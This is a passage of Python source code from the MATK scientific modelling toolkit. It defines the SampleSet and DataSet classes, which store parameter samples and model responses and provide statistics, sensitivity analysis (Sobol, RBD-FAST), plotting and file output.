Stores information related to a sample\n including parameter samples, associated responses, and sample indices\n \"\"\"\n def __init__(self,name,samples,parent,index_start=1,**kwargs):\n self.name = name\n responses = None\n self._indices = None\n self._index_start = index_start\n self._parent = parent\n self.samples = DataSet(samples,self._parent.parnames,mins=self._parent.parmins,maxs=self._parent.parmaxs) \n for k,v in kwargs.items():\n if k == 'responses':\n if not v is None:\n if isinstance( v, (list,numpy.ndarray)):\n responses = numpy.array(v)\n else:\n print(\"Error: Responses are not a list or ndarray\")\n return\n elif k == 'indices':\n if not v is None:\n if isinstance( v, (list,numpy.ndarray)):\n self.indices = v\n else:\n print(\"Error: Indices are not a list or ndarray\")\n return\n if self._parent.obsnames is None and responses is not None:\n self._parent._obsnames = []\n for i in range(responses.shape[0]):\n self._parent._obsnames.append('obs'+str(i))\n if responses is not None:\n self.responses = DataSet(responses,self._parent.obsnames) \n else:\n self.responses = None\n # Set default indices if None\n if self.indices is None and not self.samples.values is None:\n if not self.index_start is None:\n self.indices = numpy.arange(index_start,index_start+self.samples.values.shape[0])\n else:\n self.indices = numpy.arange(self.samples.values.shape[0])+1\n #def __repr__(self):\n # s = 'MATK SampleSet Object\\n\\n'\n # s += 'Methods (usage: .):\\n\\n'\n # s += 'name - return or set name of sampleset\\n'\n # s += 'indices - return or set indices\\n'\n # s += 'index_start - return or set index starting value\\n'\n # s += 'obsnames - return observation names\\n'\n # s += 'values - return dataset in array form\\n'\n # s += 'recarray - return sampleset in record array form\\n'\n # s += 'hist - plot histograms\\n'\n # s += 'panels - plot paneled paired plots\\n'\n # s += 'corr - calculate and/or plot dataset correlations\\n'\n # s += 'savetxt - save sampleset to file\\n'\n # s += 'pardict - return parameter dictionary of sample with specified index\\n'\n # s += 'run - run the sampleset\\n'\n # s += 'subset - subset the sampleset based on criteria\\n'\n # s += 'calc_sse - calculate the sum-of-squared-errors of sampleset responses\\n'\n # return s\n @property\n def name(self):\n \"\"\"Sample set name\n \"\"\"\n return self._name\n @name.setter\n def name(self,value):\n self._name = value\n @property\n def indices(self):\n \"\"\" Array of sample indices\n \"\"\" \n return self._indices\n @indices.setter\n def indices(self,value):\n if self.samples is None and value is None:\n self._indices = value\n elif self.samples is None and not value is None:\n print(\"Error: Samples are not defined\")\n return\n elif value is None:\n self._indices = value\n elif not len(value) == self.samples.values.shape[0]:\n print(\"Error: number of indices does not equal number of samples\")\n return\n else:\n self._indices = value\n @property\n def parnames(self):\n \"\"\" Array of observation names\n \"\"\" \n if not self._parent is None:\n if len(self._parent.parnames):\n self._parnames = self._parent.parnames\n return self._parnames\n @property\n def obsnames(self):\n \"\"\" Array of observation names\n \"\"\" \n if not self._parent is None:\n if len(self._parent.obsnames):\n self._obsnames = self._parent.obsnames\n return self._obsnames\n @property\n def index_start(self):\n \"\"\" Starting integer value for sample indices\n \"\"\"\n return self._index_start\n @index_start.setter\n def index_start(self,value):\n if not isinstance( value, int):\n print(\"Error: Expecting integer\")\n return\n self._index_start = value\n if not self.samples is None:\n self.indices = numpy.arange(self.index_start,self.index_start+self.samples.values.shape[0])\n @property\n def recarray(self):\n \"\"\" Structured (record) array of samples\n \"\"\"\n if self.responses is None:\n return numpy.rec.fromarrays(self.samples._values.T,names=self.samples._names)\n else:\n data = numpy.column_stack([self.samples._values,self.responses._values])\n names = numpy.concatenate([self.samples._names,self.responses._names])\n return numpy.rec.fromarrays(data.T,names=names.tolist())\n def pardict(self, index):\n \"\"\" Get parameter dictionary for sample with specified index\n\n :param index: Sample index\n :type index: int\n :returns: dict(fl64)\n \"\"\"\n try:\n row_index = numpy.where(self.indices==index)[0][0]\n except:\n print(\"\\nIndex not found\")\n return\n return OrderedDict(list(zip(self.parnames,self.samples.values[row_index])))\n def sse(self,group=None):\n \"\"\" Sum of squared errors (sse) for all samples\n\n :param group: Group name of observations; if not None, sse for observation group will be returned\n :type group: str\n \"\"\"\n if len(self._parent.obsvalues) == 0:\n print(\"Observations are not set (e.g. prob.obsvalues is empty)\")\n return 0\n elif self.responses is None:\n print(\"Responses have not been calculated. Run sampleset (e.g. sampleset.run())\")\n return 0\n if group is None:\n sse = [numpy.sum(((self._parent.obsvalues - self.responses.values[i,:])*self._parent.obsweights)**2) for i in range(len(self.responses.values))]\n else:\n grp_inds = numpy.where(self._parent.obsgroups == group)\n sse = [numpy.sum(((self._parent.obsvalues[grp_inds] - self.responses.values[i,grp_inds])*self._parent.obsweights[grp_inds])**2) for i in range(len(self.responses.values))]\n return numpy.array(sse)\n def mean(self, pretty_print=False):\n \"\"\" Mean of samples\n \"\"\"\n return mean(self.recarray,pretty_print=pretty_print)\n def std(self, pretty_print=False):\n \"\"\" Standard deviation of samples\n \"\"\"\n return std(self.recarray,pretty_print=pretty_print)\n def var(self, pretty_print=False):\n \"\"\" Variance of samples\n \"\"\"\n return var(self.recarray,pretty_print=pretty_print)\n def percentile(self, pct, interpolation='linear', pretty_print=False):\n \"\"\" Percentile of samples\n\n :param pct: Percentile in range [0,100] or list of percentiles\n :type pct: fl64 or lst[fl64]\n :param interpolation: Interpolation method to use when quantile lies between data points\n :type interpolation: str - {'linear', 'lower', 'higher', 'midpoint', 'nearest'}\n :param pretty_print: If True, print with row and column headings\n :type pretty_print: bool\n :returns: ndarray(fl64)\n \"\"\"\n return percentile(self.recarray,pct,interpolation=interpolation,pretty_print=pretty_print)\n def corr(self, type='pearson', plot=False, printout=True, plotvals=True, figsize=None, title=None, xrotation=0, filename=None, adjust_dict=None):\n \"\"\" Calculate correlation coefficients of parameters and responses\n\n :param type: Type of correlation coefficient (pearson by default, spearman also avaialable)\n :type type: str\n :param plot: If True, plot correlation matrix\n :type plot: bool\n :param printout: If True, print correlation matrix with row and column headings\n :type printout: bool\n :param plotvals: If True, print correlation coefficients on plot matrix\n :type plotvals: bool\n :param figsize: Width and height of figure in inches\n :type figsize: tuple(fl64,fl64)\n :param title: Title of plot\n :type title: str\n :param xrotation: Rotation for x axis tick labels\n :type xratoation: int, float, or str\n :param filename: Name of file to save plot. File ending determines plot type (pdf, png, ps, eps, etc.). Plot types available depends on the matplotlib backend in use on the system. Plot will not be displayed.\n :type filename: str\n :param adjust_dict: Dictionary of kwargs to pass to plt.subplots_adjust. Keys and defaults are: left = 0.125, right = 0.9, bottom = 0.1, top = 0.9, wspace = 0.2, hspace = 0.2 \n :type adjust_dict: dict\n :returns: ndarray(fl64) -- Correlation coefficients\n \"\"\"\n corrcoef = corr(self.samples.recarray, self.responses.recarray, type=type, plot=plot, printout=printout, plotvals=plotvals, figsize=figsize, title=title, xrotation=xrotation, filename=filename, adjust_dict=adjust_dict)\n return corrcoef\n \n def panels(self, type='pearson', alpha=0.2, figsize=None, title=None, tight=False, symbol='.',fontsize=None,corrfontsize=None,ms=5,mins=None,maxs=None,frequency=False,bins=10, ylim=None, labels=[], filename=None, xticks=2, yticks=2,color=None,cmap=None,edgecolors='face'):\n \"\"\" Plot histograms, scatterplots, and correlation coefficients in paired matrix\n\n :param type: Type of correlation coefficient (pearson by default, spearman also avaialable)\n :type type: str\n :param alpha: Histogram color shading\n :type alpha: float\n :param figsize: Width and height of figure in inches\n :type figsize: tuple(fl64,fl64)\n :param title: Title of plot\n :type title: str\n :param tight: Use matplotlib tight layout\n :type tight: bool\n :param symbol: matplotlib symbol for scatterplots\n :type symbol: str\n :param fontsize: Size of font for axis labels\n :type fontsize: fl64\n :param corrfontsize: Size of font for correlation coefficients\n :type corrfontsize: fl64\n :param ms: Scatterplot marker size\n :type ms: fl64\n :param frequency: If True, the first element of the return tuple will be the counts normalized by the length of data, i.e., n/len(x)\n :type frequency: bool\n :param bins: Number of bins in histograms\n :type bins: int\n :param ylim: y-axis limits for histograms.\n :type ylim: tuples - 2 element tuples with y limits for histograms\n :param labels: Names to use instead of parameter names in plot\n :type labels: lst(str)\n :param filename: Name of file to save plot. File ending determines plot type (pdf, png, ps, eps, etc.). Plot types available depends on the matplotlib backend in use on the system. Plot will not be displayed.\n :type filename: str\n :param xticks: Number of ticks along x axes \n :type xticks: int\n :param yticks: Number of ticks along y axes \n :type yticks: int\n :param color: Name of parameter of observation to color points in colorplots by\n :type color: str\n :param cmap: Colormap for color option\n :type cmap: matplotlib.colors.Colormap\n :param edgecolors: Color of edges of markers in scatterplots\n :type edgecolors: str\n \"\"\"\n if self.responses is None:\n if mins is None and self.samples._mins is not None: mins = self.samples._mins\n if maxs is None and self.samples._maxs is not None: maxs = self.samples._maxs\n else:\n if mins is None and self.samples._mins is not None: mins = numpy.concatenate([self.samples._mins,numpy.min(self.responses.values,axis=0)])\n if maxs is None and self.samples._maxs is not None: maxs = numpy.concatenate([self.samples._maxs,numpy.max(self.responses.values,axis=0)])\n panels( self.recarray, type=type, alpha=alpha, figsize=figsize, title=title, tight=tight, symbol=symbol,fontsize=fontsize,corrfontsize=corrfontsize,ms=ms,mins=mins,maxs=maxs,frequency=frequency,bins=bins,ylim=ylim,labels=labels,filename=filename,xticks=xticks,yticks=yticks,color=color,cmap=cmap,edgecolors=edgecolors)\n def corner(self,bins=20, range=None, weights=None, color='k', smooth=None, smooth1d=None, labels=None, label_kwargs=None, show_titles=False, title_fmt='.2f', title_kwargs=None, truths=None, truth_color='#4682b4', scale_hist=False, quantiles=None, verbose=False, fig=None, max_n_ticks=5, top_ticks=False, use_math_text=False, hist_kwargs=None, **hist2d_kwargs):\n \"\"\" Plot corner plot using the corner package written by Dan Foreman-Mackey (https://pypi.python.org/pypi/corner/1.0.0)\n \"\"\"\n if plotflag:\n rc = self.recarray\n if labels is None:\n labels = rc.dtype.names\n elif not len(labels) == len(rc.dtype.names):\n print(\"Error: number of labels does not match number of parameters\")\n return\n return corner(rc.tolist(),bins=bins,range=range,weights=weights,color=color,smooth=smooth,smooth1d=smooth1d,labels=labels,label_kwargs=label_kwargs,show_titles=show_titles,title_fmt=title_fmt,title_kwargs=title_kwargs,truths=truths,truth_color=truth_color,scale_hist=scale_hist,quantiles=quantiles,verbose=verbose,fig=fig,max_n_ticks=max_n_ticks,top_ticks=top_ticks,use_math_text=use_math_text,hist_kwargs=hist_kwargs,**hist2d_kwargs)\n else:\n print('Plotting capabilities not enabled, ensure x connnection')\n return\n def run(self, cpus=1, workdir_base=None, save=True, reuse_dirs=False, outfile=None, \n logfile=None, restart_logfile=None, verbose=True, hosts={}):\n \"\"\" Run model using values in samples for parameter values\n If samples are not specified, LHS samples are produced\n \n :param cpus: number of cpus; alternatively, dictionary of lists of processor ids keyed by hostnames to run models on (i.e. on a cluster); hostname provided as kwarg to model (hostname=); processor id provided as kwarg to model (processor=)\n :type cpus: int,dict(lst)\n :param workdir_base: Base name for model run folders, run index is appended to workdir_base\n :type workdir_base: str\n :param save: If True, model files and folders will not be deleted during parallel model execution\n :type save: bool\n :param reuse_dirs: Will use existing directories if True, will return an error if False and directory exists\n :type reuse_dirs: bool\n :param outfile: File to write results to\n :type outfile: str\n :param logfile: File to write details of run to during execution\n :type logfile: str\n :param restart_logfile: Existing logfile containing completed runs, used to complete an incomplete sampling; Warning: sample indices are expected to match!\n :type restart_logfile: str\n :param verbose: Prints results as calculated if True and Display progress bar in console if 'progress'\n :type verbose: bool or str\n :param hosts: Option deprecated, use cpus instead\n :type hosts: lst(str)\n :returns: tuple(ndarray(fl64),ndarray(fl64)) - (Matrix of responses from sampled model runs siz rows by npar columns, Parameter samples, same as input samples if provided)\n \"\"\"\n if workdir_base:\n self._parent.workdir_base = workdir_base\n\n if len(hosts) > 0:\n print(\"Error: host option deprecated, use cpus instead. cpus accepts an integer or dictionary of lists of processor ids keyed by hostnames in the same way that the hosts argument functioned\")\n return\n\n samples = self.samples.values\n indices = self.indices\n # If restart logfile provided, remove completed runs from samples to run\n if not restart_logfile is None:\n sdone = self._parent.read_sampleset(restart_logfile)\n ir = []\n for i in sdone.indices:\n ir += numpy.where(self.indices==i)[0].tolist()\n samples = numpy.delete(samples,ir,0)\n indices = numpy.delete(indices,ir,0)\n \n if isinstance(cpus,int) and cpus <= 0:\n print('Error: number of cpus must be greater than zero')\n return\n else:\n out, retsamples = self._parent.parallel(samples, cpus, \n indices=indices, workdir_base=workdir_base, \n save=save, reuse_dirs=reuse_dirs, verbose=verbose, \n logfile=logfile)\n\n # If restart logfile provided, combine output\n if not restart_logfile is None:\n indices = numpy.concatenate([sdone.indices,indices])\n sorted_inds = numpy.argsort(indices)\n indices = indices[sorted_inds]\n samples = numpy.concatenate([sdone.samples.values,samples])\n samples = samples[sorted_inds]\n if out is not None and sdone.responses is not None:\n out = numpy.concatenate([sdone.responses.values,out])\n out = out[sorted_inds]\n\n if out is not None:\n out = numpy.array(out)\n if self.responses is None:\n self.responses = DataSet(out,self._parent.obsnames) \n else:\n self.responses.values = out \n self._obsnames = self._parent.obsnames\n if not outfile is None:\n self.savetxt( outfile )\n\n return out\n def copy(self, newname=None):\n return self._parent.copy_sampleset(self.name,newname=newname)\n def savetxt( self, outfile, sse=False):\n ''' Save sampleset to file\n\n :param outfile: Name of file where sampleset will be written\n :type outfile: str\n :param sse: Print out sum-of-squared-errors instead of observations\n :type sse: bool\n '''\n\n x = numpy.column_stack([self.indices,self.samples.values])\n if not self.responses is None and sse is False:\n x = numpy.column_stack([x,self.responses.values])\n elif not self.responses is None and sse is True:\n x = numpy.column_stack([x,self.sse()])\n if len(numpy.unique(self._parent.obsgroups)) > 1:\n for grp in numpy.unique(self._parent.obsgroups):\n if grp is not None:\n x = numpy.column_stack([x,self.sse(grp)])\n\n if outfile:\n f = open(outfile, 'w')\n f.write(\"Number of parameters: %d\\n\" % len(self.parnames) )\n if sse is False:\n if not self.responses is None:\n f.write(\"Number of responses: %d\\n\" % len(self.obsnames) )\n else: f.write(\"Number of responses: %d\\n\" % 0 ) \n else:\n if not self.responses is None: f.write(\"Number of responses: %d\\n\" % 1 ) \n else: \n print(\"Warning: sum-of-squared error cannot be calculates without model responses\")\n f.write(\"Number of responses: %d\\n\" % 0 ) \n f.write(\"%-8s\" % 'index' )\n # Print par names\n for nm in self.samples.names:\n f.write(\" %22s\" % nm )\n # Print obs names if responses exist\n if sse is False:\n if not self.responses is None:\n if len(self.obsnames) == 0:\n for i in range(self.responses.values.shape[1]):\n f.write(\"%22s\" % 'obs'+str(i+1) )\n else:\n for nm in self.obsnames:\n f.write(\" %22s\" % nm )\n else:\n f.write(\" {:>22}\".format('SSE') )\n if len(numpy.unique(self._parent.obsgroups)) > 1:\n for grp in numpy.unique(self._parent.obsgroups):\n if grp is not None:\n f.write(\" {:>22}\".format(grp+'_SSE') )\n f.write('\\n')\n for row in x:\n if isinstance( row[0], str ):\n f.write(\"%-8s\" % row[0] )\n else:\n f.write(\"%-8d\" % row[0] )\n for i in range(1,len(row)):\n if isinstance( row[i], str):\n f.write(\" %22.16s\" % row[i] )\n else:\n f.write(\" %22.16g\" % row[i] )\n f.write('\\n')\n f.close()\n def savestats(self, outfile, q=[2.5,5.0,50.,95.,97.5], interpolation='linear'):\n \"\"\" Save statistical measures of sampleset to file \n\n :param outfile: Name of file\n :type outfile: str\n :param q: percentile or list of percentiles to compute\n :type q: fl64 or lst[fl64]\n :param interpolation: Interpolation method to use when quantile lies between data points\n :type interpolation: str - {'linear', 'lower', 'higher', 'midpoint', 'nearest'}\n \"\"\"\n savestats(self.recarray, outfile, q=q, interpolation=interpolation)\n def subset(self, boolfcn, field, *args, **kwargs): \n \"\"\" Collect subset of samples based on parameter or response values, remove all others\n\n :param boofcn: Function that returns true for samples to keep and false for samples to remove\n :type boolfcn: function handle\n :param field: Name of parameter or observations to apply boolfcn to\n :type field: str\n :param args: Additional arguments to add to boolfcn\n :param kwargs: Keyword arguments to add to boolfcn \n \"\"\"\n #if self.responses is None:\n # print 'Error: sampleset contains no responses'\n # return\n s = self.copy()\n inds = []\n boolarr = numpy.array([boolfcn(val,*args,**kwargs) for val in s.recarray[field]])\n inds = numpy.where(boolarr)[0]\n if len(inds):\n s.samples._values = s.samples._values[inds.tolist(),:]\n s.responses._values = s.responses._values[inds.tolist(),:]\n s.indices = s.indices[inds.tolist()]\n return s\n def main_effects(self):\n \"\"\" For each parameter, compile array of main effects.\n \"\"\"\n # checks\n N = len(list(self._parent.pars.keys()))\n if self.samples._values.shape[0] != 2**N:\n print('Expecting 2**N samples where N = number of parameters')\n return None, None, None\n # sort lists by parameter value \n sorted_samples = [[i]+list(s) for i,s in enumerate(self.samples._values)]\n for i in range(N,0,-1): sorted_samples.sort(key = itemgetter(i))\n # for each parameter\n pairDict = []\n for i,parname in zip(list(range(N-1,-1,-1)),list(self._parent.pars.keys())): \n inds = list(range(0,2**N+1,2**i))\n # for each parameter pairing set\n pairs = []\n for j in range(1,(len(inds)-1)/2+1):\n set1 = sorted_samples[inds[2*(j-1)]:inds[2*j-1]]\n set2 = sorted_samples[inds[2*j-1]:inds[2*j]]\n # for each parameter pair\n for s1,s2 in zip(set1,set2):\n pairs.append((s1[0],s2[0]))\n pairDict.append((parname,pairs))\n pairDict = dict(pairDict)\n # for each observation - parameter pair set, calculate the set of sensitivities\n sensitivity_matrix = []\n for i,obs in enumerate(self._parent.obs.keys()):\n row = []\n for par in list(self._parent.pars.keys()):\n deltas = []\n for pair in pairDict[par]:\n deltas.append(self.responses.values[pair[1],i]-self.responses.values[pair[0],i])\n row.append(deltas)\n sensitivity_matrix.append(row)\n # calculate matrices of mean and variance sensitivities\n mean_matrix = []\n var_matrix = []\n for row in sensitivity_matrix:\n mean_row = []\n var_row = []\n for col in row:\n mean_row.append(numpy.mean(col))\n var_row.append(numpy.std(col)**2)\n mean_matrix.append(mean_row)\n var_matrix.append(var_row)\n \n return sensitivity_matrix, mean_matrix, var_matrix\n def rank_parameter_frequencies(self):\n \"\"\" Yields a printout of parameter value frequencies in the sample set\n \n returns An array of tuples, each containing the parameter name tagged as min or max and a\n second tuple containing the parameter value and the frequency of its appearance in the sample set.\n \"\"\"\n # create dictionary of parameter name and value\n pars = []\n for par,col in zip(self._parent.pars,self.samples._values.T):\n min = self._parent.pars[par].min\n max = self._parent.pars[par].max\n minN = list(col).count(min)\n maxN = list(col).count(max)\n pars.append((par+':min',[min,minN]))\n pars.append((par+':max',[max,maxN]))\n\n pars.sort(key=lambda x: x[1][1],reverse=True)\n\n return pars\n def sobol(self, obsname='sse', calc_second_order=True, print_to_console=True, num_resamples=100, conf_level=0.95, problem={}):\n \"\"\" Perform Sobol analysis on model output. This requires that the sampleset is a Saltelli sample and has been run. This method calls functionality from the SALib package.\n\n :param obsname: Name of observation to perform analysis on. The default is to use the sum-of-squared errors of all observations. This requires that observation values were designated. An individual observation name can be used instead.\n :type obsname: str\n :type calc_second_order: bool\n :param calc_second_order: Calculate second-order sensitivities\n :type calc_second_order: bool\n :param num_resamples: The number of resamples\n :type num_resamples: int\n :param conf_level: The confidence interval level\n :type conf_level: flt\n :param print_to_console: Print results directly to console\n :type print_to_console: bool\n :param problem: Dictionary of model attributes used by sampler. For example, dictionary with a list with keyname 'groups' containing a list of length of the number of parameters with parameter group names can be used to group parameters with similar effects on the observation. This will reduce the number of samples required.\n :type problem: dict\n :returns: Dictionary of sobol analysis results\n \"\"\"\n try:\n from .SALib.analyze import sobol\n except ImportError as exc:\n sys.stderr.write(\"Warning: failed to import SALib sobol module. ({})\\n\".format(exc))\n\n # Define problem for Saltelli sampler\n problem['num_vars'] = len(self._parent.pars)\n problem['names'] = self._parent.parnames\n problem['bounds'] = list(zip(self._parent.parmins,self._parent.parmaxs))\n\n if obsname == 'sse': obs = self.sse()\n else: obs = self.recarray[obsname]\n return sobol.analyze(problem, obs, calc_second_order=calc_second_order, print_to_console=print_to_console, num_resamples=num_resamples, conf_level=conf_level)\n def rbd_fast(self, obsname='sse', M=10, print_to_console=True, problem={}):\n \"\"\" Perform RBD_Fast analysis on model output. This assumes that the sampleset has been run so that responses have been generated. This method calls functionality from the SALib package.\n\n :param obsname: Name of observation to perform analysis on. The default is to use the sum-of-squared errors of all observations. This requires that observation values were designated. An individual observation name can be used instead.\n :type obsname: str\n :param M: The interference parameter, i.e., the number of harmonics to sum in the Fourier series decomposition \n :type M: int\n :param print_to_console: Print results directly to console\n :type print_to_console: bool\n :param problem: Dictionary of model attributes used by sampler. For example, dictionary with a list with keyname 'groups' containing a list of length of the number of parameters with parameter group names can be used to group parameters with similar effects on the observation. This will reduce the number of samples required.\n :type problem: dict\n :returns: Dictionary of rbd_fast analysis results\n \"\"\"\n try:\n from .SALib.analyze import rbd_fast\n except ImportError as exc:\n sys.stderr.write(\"Warning: failed to import SALib sobol module. ({})\\n\".format(exc))\n\n # Define problem\n problem['num_vars'] = len(self._parent.pars)\n problem['names'] = self._parent.parnames\n problem['bounds'] = list(zip(self._parent.parmins,self._parent.parmaxs))\n\n if obsname == 'sse': obs = self.sse()\n else: obs = self.recarray[obsname]\n return rbd_fast.analyze(problem, obs, self.samples.values, M=M, print_to_console=print_to_console)\n\nclass DataSet(object):\n \"\"\" MATK DataSet class used by SampleSet class to store samples (parameter combinations; 'SampleSet.samples') and responses (model outputs; 'SampleSet.responses')\n \"\"\"\n def __init__(self,samples,names,mins=None,maxs=None):\n self._values = samples\n self._names = names\n if mins is None: self._mins = [None]*self._values.shape[1]\n else: self._mins = mins\n if maxs is None: self._maxs = [None]*self._values.shape[1]\n else: self._maxs = maxs\n def __repr__(self):\n s = 'MATK DataSet Object\\n\\n'\n s += 'Methods (usage: .):\\n\\n'\n s += 'names - return names\\n'\n s += 'values - return dataset in numpy array form\\n'\n s += 'recarray - return dataset in record array form\\n'\n s += 'hist - plot histograms\\n'\n s += 'panels - plot paneled pair plot\\n'\n s += 'corr - calculate and/or plot dataset correlations\\n'\n return s\n @property\n def names(self):\n \"\"\" Array of parameter names\n \"\"\" \n return self._names\n @property\n def values(self):\n \"\"\"Ndarray of parameter samples, rows are samples, columns are parameters in order of MATKobject.parlist\n \"\"\"\n return self._values\n @values.setter\n def values(self,value):\n if not isinstance( value, (list,numpy.ndarray)):\n print(\"Error: Parameter samples are not a list or ndarray\")\n return\n # If list, convert to ndarray\n if isinstance( value, list ):\n self._values = numpy.array(value)\n else:\n self._values = value\n @property\n def recarray(self):\n \"\"\" Structured (record) array of samples\n \"\"\"\n return numpy.rec.fromarrays(self._values.T,names=self._names)\n def mean(self, pretty_print=False):\n \"\"\" Mean of samples\n \"\"\"\n return mean(self.recarray,pretty_print=pretty_print)\n def std(self, pretty_print=False):\n \"\"\" Standard deviation of samples\n \"\"\"\n return std(self.recarray,pretty_print=pretty_print)\n def var(self, pretty_print=False):\n \"\"\" Variance of samples\n \"\"\"\n return var(self.recarray,pretty_print=pretty_print)\n def percentile(self, pct, interpolation='linear', pretty_print=False):\n \"\"\" Percentile of samples\n\n :param pct: Percentile in range [0,100] or list of percentiles\n :type pct: fl64 or lst[fl64]\n :param interpolation: Interpolation method to use when quantile lies between data points\n :type interpolation: str - {'linear', 'lower', 'higher', 'midpoint', 'nearest'}\n :param pretty_print: If True, print with row and column headings\n :type pretty_print: bool\n :returns: ndarray(fl64)\n \"\"\"\n return percentile(self.recarray,pct,interpolation=interpolation,pretty_print=pretty_print)\n def savestats(self, outfile, q=[2.5,5.0,50.,95.,97.5], interpolation='linear'):\n \"\"\" Save statistical measures to file \n\n :param outfile: Name of file\n :type outfile: str\n :param q: percentile or list of percentiles to compute\n :type q: fl64 or lst[fl64]\n :param interpolation: Interpolation method to use when quantile lies between data points\n :type interpolation: str - {'linear', 'lower', 'higher', 'midpoint', 'nearest'}\n \"\"\"\n savestats(self.recarray, outfile, q=q, interpolation=interpolation)\n def hist(self, ncols=4, alpha=0.2, figsize=None, title=None, tight=False, mins=None, maxs=None,frequency=False,bins=10,ylim=None,printout=True,labels=[],filename=None,fontsize=None,xticks=3):\n \"\"\" Plot histograms of dataset\n\n :param ncols: Number of columns in plot matrix\n :type ncols: int\n :param alpha: Histogram color shading\n :type alpha: float\n :param figsize: Width and height of figure in inches\n :type figsize: tuple(fl64,fl64)\n :param title: Title of plot\n :type title: str\n :param tight: Use matplotlib tight layout\n :type tight: bool\n :returns: dict(lst(int),lst(fl64)) - dictionary of histogram data (counts,bins) keyed by name\n :param frequency: If True, the first element of the return tuple will be the counts normalized by the length of data, i.e., n/len(x)\n :type frequency: bool\n :param bins: Number of bins in histograms\n :type bins: int\n :param ylim: y-axis limits for histograms.\n :type ylim: tuple - 2 element tuple with y limits for histograms\n :param printout: If True, histogram values are printed to the terminal\n :type printout: bool\n :param labels: Names to use instead of parameter names in plot\n :type labels: lst(str)\n :param filename: Name of file to save plot. File ending determines plot type (pdf, png, ps, eps, etc.). Plot types available depends on the matplotlib backend in use on the system. Plot will not be displayed.\n :type filename: str\n :param fontsize: Size of font \n :type fontsize: fl64\n :param xticks: Number of ticks along x axes\n :type xticks: int\n \"\"\" \n if mins is None and self._mins is not None: mins = self._mins\n if maxs is None and self._maxs is not None: maxs = self._maxs\n hd = hist(self.recarray, ncols=ncols, alpha=alpha, figsize=figsize, title=title, tight=tight, mins=mins, maxs=maxs,frequency=frequency,bins=bins,ylim=ylim,printout=printout,labels=labels,filename=filename,fontsize=fontsize,xticks=xticks)\n return hd\n def corr(self, type='pearson', plot=False, printout=True, plotvals=True, figsize=None, title=None, xrotation=0, filename=None, adjust_dict=None):\n \"\"\" Calculate correlation coefficients of dataset values\n\n :param type: Type of correlation coefficient (pearson by default, spearman also avaialable)\n :type type: str\n :param plot: If True, plot correlation matrix\n :type plot: bool\n :param plotvals: If True, print correlation coefficients on plot matrix\n :type plotvals: bool\n :param printout: If True, print correlation matrix with row and column headings\n :type printout: bool\n :param figsize: Width and height of figure in inches\n :type figsize: tuple(fl64,fl64)\n :param title: Title of plot\n :type title: str\n :param xrotation: Rotation for x axis tick labels\n :type xratoation: int, float, or str\n :param filename: Name of file to save plot. File ending determines plot type (pdf, png, ps, eps, etc.). Plot types available depends on the matplotlib backend in use on the system. Plot will not be displayed.\n :type filename: str\n :param adjust_dict: Dictionary of kwargs to pass to plt.subplots_adjust. Keys and defaults are: left = 0.125, right = 0.9, bottom = 0.1, top = 0.9, wspace = 0.2, hspace = 0.2 \n :type adjust_dict: dict\n :returns: ndarray(fl64) -- Correlation coefficients\n \"\"\"\n return corr(self.recarray, self.recarray, type=type, plot=plot, printout=printout, plotvals=plotvals, figsize=figsize, title=title, xrotation=xrotation, filename=filename, adjust_dict=adjust_dict)\n def panels(self, type='pearson', alpha=0.2, figsize=None, title=None, tight=False, symbol='.',fontsize=None,corrfontsize=None,ms=5,mins=None,maxs=None,frequency=False,bins=10,ylim=None,labels=[],filename=None,xticks=2,yticks=2,color=None,cmap=None, edgecolors='face'):\n \"\"\" Plot histograms, scatterplots, and correlation coefficients in paired matrix\n\n :param type: Type of correlation coefficient (pearson by default, spearman also avaialable)\n :type type: str\n :param alpha: Histogram color shading\n :type alpha: float\n :param figsize: Width and height of figure in inches\n :type figsize: tuple(fl64,fl64)\n :param title: Title of plot\n :type title: str\n :param tight: Use matplotlib tight layout\n :type tight: bool\n :param symbol: matplotlib symbol for scatterplots\n :type symbol: str\n :param corrfontsize: Size of font for correlation coefficients\n :type corrfontsize: fl64\n :param fontsize: Size of font for axis labels\n :type fontsize: fl64\n :param ms: Scatterplot marker size\n :type ms: fl64\n :param frequency: If True, the first element of the return tuple will be the counts normalized by the length of data, i.e., n/len(x)\n :type frequency: bool\n :param bins: If an integer is given, bins + 1 bin edges are returned. Unequally spaced bins are supported if bins is a list of sequences for each histogram.\n :type bins: int or lst(lst(int))\n :param ylim: y-axis limits for histograms.\n :type ylim: tuple - 2 element tuples with y limits for histograms\n :param labels: Names to use instead of parameter names in plot\n :type labels: lst(str)\n :param filename: Name of file to save plot. File ending determines plot type (pdf, png, ps, eps, etc.). Plot types available depends on the matplotlib backend in use on the system. Plot will not be displayed.\n :type filename: str\n :param xticks: Number of ticks along x axes \n :type xticks: int\n :param yticks: Number of ticks along y axes \n :type yticks: int\n :param color: Name of parameter of observation to color points in colorplots by\n :type color: str\n :param cmap: Colormap for color option\n :type cmap: matplotlib.colors.Colormap\n :param edgecolors: Color of edges of markers in scatterplots\n :type edgecolors: str\n \"\"\"\n if mins is None and self._mins is not None: mins = self._mins\n if maxs is None and self._maxs is not None: maxs = self._maxs\n panels( self.recarray, type=type, alpha=alpha, figsize=figsize, title=title, tight=tight, symbol=symbol,fontsize=fontsize,corrfontsize=corrfontsize,ms=ms,mins=mins,maxs=maxs,frequency=frequency,bins=bins,ylim=ylim,labels=labels,filename=filename,xticks=xticks,yticks=yticks,color=color,cmap=cmap,edgecolors=edgecolors)\n def corner(self,bins=20, range=None, weights=None, color='k', smooth=None, smooth1d=None, labels=None, label_kwargs=None, show_titles=False, title_fmt='.2f', title_kwargs=None, truths=None, truth_color='#4682b4', scale_hist=False, quantiles=None, verbose=False, fig=None, max_n_ticks=5, top_ticks=False, use_math_text=False, hist_kwargs=None, **hist2d_kwargs):\n \"\"\" Plot corner plot using the corner package written by Dan Foreman-Mackey (https://pypi.python.org/pypi/corner/1.0.0)\n \"\"\"\n if plotflag:\n rc = self.recarray\n if labels is None:\n labels = rc.dtype.names\n elif not len(labels) == len(rc.dtype.names):\n print(\"Error: number of labels does not match number of parameters\")\n return\n return corner(self.values,bins=bins,range=range,weights=weights,color=color,smooth=smooth,smooth1d=smooth1d,labels=labels,label_kwargs=label_kwargs,show_titles=show_titles,title_fmt=title_fmt,title_kwargs=title_kwargs,truths=truths,truth_color=truth_color,scale_hist=scale_hist,quantiles=quantiles,verbose=verbose,fig=fig,max_n_ticks=max_n_ticks,top_ticks=top_ticks,use_math_text=use_math_text,hist_kwargs=hist_kwargs,**hist2d_kwargs)\n else:\n print('Plotting capabilities not enabled, ensure x connnection')\n return\n\ndef savestats(rc, outfile, q=[2.5,5,50,95,97.5], 